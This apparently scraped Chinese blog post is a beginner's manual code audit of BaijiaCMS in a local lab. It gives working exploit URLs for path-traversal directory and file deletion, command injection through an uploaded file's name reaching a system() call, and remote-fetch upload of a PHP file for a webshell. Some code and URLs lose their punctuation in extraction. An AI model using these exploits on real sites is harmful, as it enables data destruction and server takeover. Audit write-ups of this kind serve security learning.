广州黄埔网站建设公司,建设项目环保备案网站,电商网站 建社区,学做美食交流网站前言
之前审计的CMS大多是利用工具#xff0c;即Seay昆仑镜联动扫描出漏洞点#xff0c;而后进行审计。感觉自己的能力仍与零无异#xff0c;因此本次审计CMS绝大多数使用手动探测#xff0c;即通过搜索危险函数的方式进行漏洞寻找#xff0c;以此来提升审计能力#xf…前言
之前审计的CMS大多是利用工具即Seay昆仑镜联动扫描出漏洞点而后进行审计。感觉自己的能力仍与零无异因此本次审计CMS绝大多数使用手动探测即通过搜索危险函数的方式进行漏洞寻找以此来提升审计能力希望对正在学习代码审计的师傅能有所帮助。
环境搭建
源码链接如下所示 https://gitee.com/openbaijia/baijiacms 安装至本地后我这里是phpstudywin10所以直接解压到phpstudy的www目录下即可 接下来去创建一个数据库用于存储CMS信息。在Mysql命令行中执行 接下来访问CMS会默认跳转至安装界面 数据库名称和账密注意一下就好其他随便写 而后安装成功可以开始进行审计了。
审计
准备工作
我们拿到一套源码时首先需要对具体文件夹进行一次分析这样才能对CMS有一个初步的印象为后续审计做一些铺垫。 根目录如下所示 其对应目录解释如下
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码针对system目录这个较为常用我们可以对其进行进一步分析
system 系统模块目录├─alipay 支付宝服务窗模块├─bonus 优惠券模块├─common 公共函数模板├─index 登录页├─member 会员模块├─modules 可再扩展模块和模块管理├─public 公共模块├─shop 后台商城模块├─shopwap 前台商城模块├─user 系统用户└─weixin 微信模块对这些有过了解后还需要看的就是一些后端支撑文件例如这种xxxinc.php文件他们常常存在一些漏洞进而导致CMS出现漏洞
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 所以简单阅读一下这些也是有必要的。接下来准备工作做完就开始下一步。
路由解析
对一个CMS进行漏洞探测前我们需要首先需要对CMS的路由有所了解。 这里我们直接访问默认页面baijiacms-master/index.php然后登录后台这里说一下我自己认为找路由还可以的方法就是关注一些特别点好找一些比如这里的修改密码界面
我们点击它发现此时的路由如下
baijiacms-master/index.php?modsiteactmanagerdochangepwdbeid1接下来我们在Vscode中进行全局搜索搜password 结果如下可以发现它的路径
baijiacms-master\system\manager\class\web\changepwd.php再找到它的具体位置 我们将它与之前看到的路由进行比对就可以发现act其实是system文件夹下的文件夹名称do是所选择具体文件的名称,对这些有个初步的了解待会找到文件时能在网页中访问即可。
漏洞查找
这里Seay关键词搜索的方式进行漏洞查找
SQL注入
疑点一失败
发现有很多疑似注入点从第一个开始跟进看 文件路由/addons/activity/class/mobile/index.php 重点代码
global $_W,$_GPC;$activityid intval ( $_GPC [activityid] );
$operation !empty($_GPC[op]) ? $_GPC[op] : display;
$pagetitle 活动报名入口;$activity pdo_fetch (SELECT * FROM . table (activity) . WHERE uniacid {$_W[uniacid]} and id . $activityid );可以看到uniacid变量确实未被单引号包裹可能存在注入但我们这里注意到它是$_W[uniacid]追溯$_W看到global $_W,$_GPC;这个是全局变量所以我们直接在vscode中进行查找ctrlshiftf全局搜索 发现$_GPC$_GP所以我们只需要确定$_GP就可以确定$_GPC接下来寻找$_GP最终在baijiacms.php中发现此变量
这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理而后将参数进行了合并合并后对数组内的参数依次进行遍历进行htmlspecialchars函数处理而后将实体字符amp替换为。不过这个是$_GPC的但都是全局变量$_W应该也类似接下来再跟着看一下我们全局搜索$_W 这里可以发现$W$_CMS同时看出我们的$_W[uniacid]$_CMS[beid]接下来搜索$_CMS[beid] 找到它等同于一个函数即getDomainBeid函数所以接下来寻找getDomainBeid函数
function getDomainBeid()
{global $_GP;$system_store mysqld_select(SELECT id,isclose FROM .table(system_store). where (website:website1 or website:website2) and deleted0 ,array(:website1WEB_WEBSITE,:website2www..WEB_WEBSITE));if(empty($system_store[id])){if(!empty($_GP[beid])){$system_store mysqld_select(SELECT id,isclose FROM .table(system_store). where id:id and deleted0,array(:id$_GP[beid]));if(empty($system_store[id])){message(未找到相关店铺);}if(!empty($system_store[isclose])){message(店铺已关闭无法访问); }return $system_store[id]; }else{return ; }}else{if(!empty($system_store[isclose])){message(店铺已关闭无法访问); }return $system_store[id];}
}这里可以看出system_store是由系统数据库中查出来的数据这个对我们来说是不可控的我们可控的是$_GP[beid],此时看着一个SQL语句
$system_store mysqld_select(SELECT id,isclose FROM .table(system_store). where id:id and deleted0,array(:id$_GP[beid]));如果我们的数据正常他的结果应该是
id isclose
xx xxxxxxx
xx xxxxxxx而当我们输入beid为xx and sleep(2)这种它毫无疑问是不会有查询结果的这也就意味着$system_store[id]而这个函数的最终结果是return $system_store[id]; 那么此时它就会返回空值那么回到这个SQL语句
pdo_fetchall(select * from . tablename(eshop_member) . where isagent 1 and status1 and uniacid . $_W[uniacid] . {$condition} ORDER BY agenttime desc limit . ($pindex - 1) * $psize . , . $psize);中如果我们那里正常想让返回的不为空值那么这个$_W[uniacid]只能接收到正常的id也就是数据库中存储着的id值所以这里是无法进行SQL注入的。
类似这个的还有如下文件
文件名system/eshop/core/mobile/commission/team.php
部分PHP代码
$list pdo_fetchall(select * from . tablename(eshop_member) . where isagent 1 and status1 and uniacid . $_W[uniacid] . {$condition} ORDER BY agenttime desc limit . ($pindex - 1) * $psize . , . $psize);文件名: /addons/activity/class/web/activity.php
部分PHP代码
$activity pdo_fetch (SELECT * FROM . table (activity) . WHERE uniacid {$_W[uniacid]} and id . $activityid );文件名/addons/activity/class/mobile/join.php
部分PHP代码
$row pdo_fetch (SELECT id FROM . table (activity) . WHERE uniacid {$_W[uniacid]} and id . $activityid );文件名/addons/activity/class/web/records.php
部分PHP代码
$row pdo_fetch(SELECT id,pic FROM . table(activity_records) . WHERE id $id and uniacid {$_W[uniacid]});文件名/system/eshop/core/web/shop/dispatch.php
部分PHP代码
$dispatch pdo_fetch(SELECT id,dispatchname FROM . tablename(eshop_dispatch) . WHERE id $id AND uniacid . $_W[uniacid] . );文件名 /system/eshop/core/web/virtual/category.php
部分PHP代码:
$list pdo_fetchall(SELECT * FROM . tablename(eshop_virtual_category) . WHERE uniacid {$_W[uniacid]} ORDER BY id DESC);疑点二失败
文件路径/system/common/model/virtual.php 这里发现参数id跟进id变量发现来源于
public function updateGoodsStock($id 0){global $_W, $_GPC;$goods pdo_fetch(select virtual from . tablename(eshop_goods) . where id:id and type3 and uniacid:uniacid limit 1, array(:id $id,:uniacid $_W[uniacid]));发现这里的id是直接赋值为0的我们是不可控的所以不存在注入。
任意目录及文件删除
关于漏洞寻找大多是从一些敏感函数入手如果觉得Seay扫描的不够全面我们可自行查找对于文件删除我们这里首先想到的就是unlink函数所以我们这里打开Vscodectrlshiftf全局搜索unlink函数 这里注意到有多个文件js及css前端文件自不必看我们这里要关注的是php文件接下来从第一个开始看。
疑点一
文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下
function rmdirs($path,$isdirfalse)
{if(is_dir($path))//判定变量是否为目录{$file_list scandir($path); //查看路径下的文件foreach ($file_list as $file)//依次遍历{if( $file!. $file!..)//如果不是.和..{if($file!qrcode){rmdirs($path./.$file,true);//删除目录下的文件}}}if($path!WEB_ROOT./cache/)//如果变量名不是根目录拼接cache{rmdir($path); //删除目录} }else{unlink($path); }}可以看到当它判定变量为目录时会对目录下的文件进行递归而后删除一切文件如果它不是目录那么他此时就会直接删除这个文件。接下来有函数了那我们就要看哪个文件利用了这个函数然后来进行利用。 所以接下来全局搜索函数rmdirs 在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码 if($operationdelete){$d base64_decode($_GP[id]);$path WEB_ROOT . /config/data_backup/;if(is_dir($path . $d)) {rmdirs($path . $d);message(备份删除成功, create_url(site, array(act manager,do database,oprestore)),success);}
}可以发现这里对变量进行了base64_decode处理这下我们想删除的目录的话我们首先需要对他进行一个base64编码同时我们可以看到这里指定了路径
$path WEB_ROOT . /config/data_backup/;但这个我们其实是可以绕过的后续只校验了是不是目录而未限定目录所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。
接下来进行利用尝试 首先我们在根目录下新建一个目录名字随便我这里为qwq 接下来访问这个数据库备份界面具体路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?modsiteactmanagerdodatabaseoprestorebeid1开启bp抓包点击删除功能点。发送到重放包界面修改id为Li4vLi4vcXdx(…/…/qwq的Base64编码形式) 此时再回根目录查看
疑点二
除了rmdir和unlink我们常常还可以关注delete函数因为他直译过来也是删除的意思所以接下来就全局进行搜索delete() 而后在includes\baijiacms\common.inc.php中发现相关代码具体代码如下
function file_delete($file_relative_path) {if(empty($file_relative_path)) {return true;}$settingsglobaSystemSetting();if(!empty($settings[system_isnetattach])){if($settings[system_isnetattach]1){require_once(WEB_ROOT./includes/lib/lib_ftp.php);$ftpnew baijiacms_ftp();if (true $ftp-connect()) {if ($ftp-ftp_delete($settings[system_ftp_ftproot]. $file_relative_path)) {return true;} else {return false;}} else {return false;}} if($settings[system_isnetattach]1){require_once(WEB_ROOT./includes/lib/lib_oss.php);$ossnew baijiacms_oss();$oss-deletefile($file_relative_path);return true;}
}else
{if (is_file(SYSTEM_WEBROOT . /attachment/ . $file_relative_path)) {unlink(SYSTEM_WEBROOT . /attachment/ . $file_relative_path);return true;}}return true;
}这里重点关注这一个 if(!empty($settings[system_isnetattach]))当这个执行通过时就不会去删除反之直接将文件删除因此我们有必要去找一下这个是什么东西照旧全局搜索 这里发现是远程附件因此我们这里选择本地的话按理说就可直达else对文件进行直接删除访问具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?modsiteactmanagerdonetattachbeid1接下来就设置好了接下来去寻找运用了这个file_delete函数的文件全局搜索一下 文件路由为system\eshop\core\mobile\util\uploader.php部分代码如下
} elseif ($operation remove) {$file $_GPC[file];file_delete($file);show_json(1);
}因此我们这里访问这个路由并设置operation 为remove按理说就可以直接删文件了接下来尝试利用。
首先在根目录新建文件这里命名为qwq.txt 接下来访问路由
http://127.0.0.1:8080/baijiacms-master/index.php?modmobileactuploaderdoutilmeshopopremovefile../test.txt此时查看根目录 文件已成功删除
同时我们刚刚还看到了不止这一个文件利用了delete函数另外的是否存在呢我们来看一下 文件路由system\eshop\core\web\shop\category.php具体代码
elseif ($operation post) {.........if (!empty($id)) {unset($data[parentid]);pdo_update(eshop_category, $data, array(id $id));file_delete($_GPC[thumb_old]);
这里可以发现想删除文件需要有三个条件
1、$operation post
2、$id不为空
3、$_GPC[thumb_old]为具体文件名所以我们按理说的话我们去访问这个路由然后修改$operation为post添加参数$id1同时附加参数$thumb_old为想删除文件名即可实现删除文件这个$operation在前面可以看到其实是参数op 所以我们直接给op赋值为post即可实现文件删除接下来进行尝试
在根目录新建文件qwq2.txt 接下来访问路由
http://127.0.0.1:8080/baijiacms-master/index.php?modsiteactcategoryoppostdoshopmeshopbeid2id1thumb_old../qwq.txt此时即可实现删除文件
命令执行
针对命令执行我们关注的函数肯定是eval、system、exec这几个所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。 首先搜索的是eval 找到的大多数是带有eval的关键词而非eval函数只有寥寥几个文件涉及了eval函数接下来进行简单分析
疑点一失败
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php部分代码如下
function checkstatus(){
$.get(?php echo create_url(mobile,array(act dingtalk,do fastlogin_pc,opdologincheck,skey$showkey));?, {}, function(data){
var data eval(( data ));if(data.status1){location.href?php echo create_url(mobile,array(act dingtalk,do fastlogin_pc,optologin,skey$showkey));?;}if(data.status-1){alert(登录失败重新刷新二维码登录); location.href?php echo create_url(mobile,array(act shopwap,do login,opdingtalk));?;}
});
} 这里的话可以看出是js类代码简单分析一下这个函数不难发现参数第一个是取对应的URL第二个函数也就是function(data),它是对从第一个URL中提取出的参数进行执行这里我们接着看函数它这里当执行过函数后对结果的状态取值进行了判断结果为1时判断为登录成功就会跳转至另一个界面而当为-1时就会登录失败重回登录界面所以我们这里可以看到他其实是不存在输出执行结果的地方的所以我们根本无从下手这里是无法实现命令执行的所以Pass。
类似的文件还有如下几个亦不必再看
文件路由baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代码
function checkstatus(){
$.get(?php echo create_url(mobile,array(act weixin,do fastlogin_pc,opdologincheck,skey$showkey));?, {}, function(data){
var data eval(( data ));if(data.status1){location.href?php echo create_url(mobile,array(act weixin,do fastlogin_pc,optologin,skey$showkey));?;}if(data.status-1){alert(登录失败重新刷新二维码登录); location.href?php echo create_url(mobile,array(act shopwap,do login,opweixin));?;}
});
}
setInterval(checkstatus(),2000);文件路由baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代码
function checkstatus(){
$.get(?php echo create_url(mobile,array(act weixin,do banding_pc,opdologincheck,skey$showkey));?, {}, function(data){
var data eval(( data ));if(data.status1){location.href?php echo create_url(mobile,array(act shopwap,do account));?;}if(data.status-1){alert(登录失败重新刷新二维码登录); location.href?php echo create_url(mobile,array(act weixin,do fastlogin,bizstatebanding_weixin));?;}
});
}
setInterval(checkstatus(),2000);疑点二
接下来我们关注system函数直接Vscode全局搜 最终在includes\baijiacms\common.inc.php下找到system函数其中部分代码如下
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownettrue)
{$settingsglobaSystemSetting();if(!file_move($file_tmp_name, $file_full_path)) {return error(-1, 保存上传文件失败);}if(!empty($settings[image_compress_openscale])){$scal$settings[image_compress_scale];$quality_command;if(intval($scal)0){$quality_command -quality .intval($scal);}system(convert.$quality_command. .$file_full_path. .$file_full_path);}............这里可以看到是保存文件的在其中进行了一个判断是否上传成功的这个自不必在意这里我们看另一个
if(!empty($settings[image_compress_openscale]))这个是什么意思呢我们这里可以看出如果这个判断可以通过而后就会对文件名和文件路径进行一个system执行那我们就有可能实现命令执行因此我们的首要任务就是找到这个是什么东西所以接下来全局搜索image_compress_openscale 此时就找到了它就是图片压缩功能所以我们直接去开启这个功能这里这个if判断就可以通过啦所以接下来首先去开启这个访问路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?modsiteactmanagerdonetattachbeid1接下来我们跟进看一下哪个文件利用了这个函数毕竟找到文件才能利用。 可以发现这里的话对此函数进行了一个利用具体代码如下
$extention pathinfo($file[name], PATHINFO_EXTENSION);$extentionstrtolower($extention);if($extentiontxt){$substrsubstr($_SERVER[PHP_SELF], 0, strrpos($_SERVER[PHP_SELF], /));if(empty( $substr)){$substr/; }$verify_root substr(WEB_ROOT./,0, strrpos(WEB_ROOT./, $substr))./;//file_save($file[tmp_name],$file[name],$extention,$verify_root.$file[name],$verify_root.$file[name],false);file_save($file[tmp_name],$file[name],$extention,WEB_ROOT./.$file[name],WEB_ROOT./.$file[name],false);if($verify_root!WEB_ROOT./){copy(WEB_ROOT./.$file[name],$verify_root./.$file[name]);}$cfg[weixin_hasverify]$file[name];}这里的话是对上传文件进行了pathinfo函数处理其实也就是获取了拓展名后缀名当为txt后缀时会继续往下进行继而调用这个file_save函数所以我们这里的思路就明了了我们这里新建一个文件命名为xxx命令.txt此时按理说就可以达到一个命令执行的效果接下来进行尝试。
我们这里新建一个txt文件命名为ipconfig.txt 接下来对其进行上传具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?modsiteactweixindosettingbeid1接下来保存便可以看到效果
任意文件读取
疑点一失败
文件路由/system/eshop/core/mobile/shop/util.php重要代码如下
} else if ($operation areas) {require_once WEB_ROOT . /includes/lib/json/xml2json.php;$file ESHOP_AREA_XMLFILE;$content file_get_contents($file);$json xml2json::transformXmlStringToJson($content);$areas json_decode($json, true);die(json_encode($areas));其他暂且不看我们这里先看这两个
$file ESHOP_AREA_XMLFILE;
$content file_get_contents($file);本来直接包含$file的话确实是可能存在文件读取但我们这里可以看到它这里是给$file直接赋值了这个是什么呢我们全局搜索一下可以发现是一个xml文件 那么它对我们来说是不可控的所以这里就不存在文件读取了因此这里属于误报看下一处。
所以类似这种的可疑点不必再关注这里简单列出几个
文件名/system/eshop/core/web/sale/enough.php
部分代码
$content file_get_contents($file);文件名/system/eshop/core/web/shop/dispatch.php
部分代码
$content file_get_contents($file);文件上传
疑点一
文件上传这里Seay并未扫到什么所以我们手动来进行寻找对于文件上传最先想到的就是上传二字对应英文为upload所以直接Vscode全局搜索upload() 文件路由为includes\baijiacms\common.inc.php具体代码如下
function file_upload($file, $type image) {if(empty($file)) {return error(-1, 没有上传内容);}$limit5000;$extention pathinfo($file[name], PATHINFO_EXTENSION);$extentionstrtolower($extention);if(empty($type)||$typeimage){$extentionsarray(gif, jpg, jpeg, png);}if($typemusic){$extentionsarray(mp3,wma,wav,amr,mp4);}if($typeother){$extentionsarray(gif, jpg, jpeg, png,mp3,wma,wav,amr,mp4,doc);}......
}这里可以看到这个是进行了很多检测的对文件类型进行了检测且要求了后缀所以这个函数应该是文件上传不了了但还好它不止一个有关upload的函数我们往下看到这样一个函数
function fetch_net_file_upload($url) {$url trim($url);$extention pathinfo($url,PATHINFO_EXTENSION );$path /attachment/;$extpath{$extention}/ . date(Y/m/);mkdirs(WEB_ROOT . $path . $extpath);do {$filename random(15) . .{$extention};} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));$file_tmp_name SYSTEM_WEBROOT . $path . $extpath. $filename;$file_relative_path $extpath. $filename;if (file_put_contents($file_tmp_name, file_get_contents($url)) false) {$result[message] 提取失败.;return $result;}$file_full_path WEB_ROOT .$path . $extpath. $filename;return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}可以发现这个只对文件进行了pathinfo函数处理取出其后缀名然后拼接路径及随机数字来组成文件名那么我们如果通过这个函数进行文件上传按理说就可以上传php文件实现getshell接下来看看哪个文件利用了此函数 文件路由system\public\class\web\file.php具体代码
if ($do fetch) {$url trim($_GPC[url]);
$filefetch_net_file_upload($url);if (is_error($file)) {$result[message] $file[message];die(json_encode($result));}}接下来我们只需要满足dofetch然后url中包含我们的文件便可实现文件上传我这里远程文件内容如下 接下来进行利用尝试。访问路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?modwebdofilempublicopfetchurlhttp://xxx.xxx.xxx.xxx/qwq.php访问给出的文件路径 可以发现此时已经实现了文件上传如果传一句话木马即可Getshell。
后言
本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞共计耗时半周对本小白来说已颇为吃力其中颇多审计失败的点虽审计失败但仍感觉对代码能力有了进一步了解也算有所收获。最后如果文章中有错误还望各位大师傅多多指正。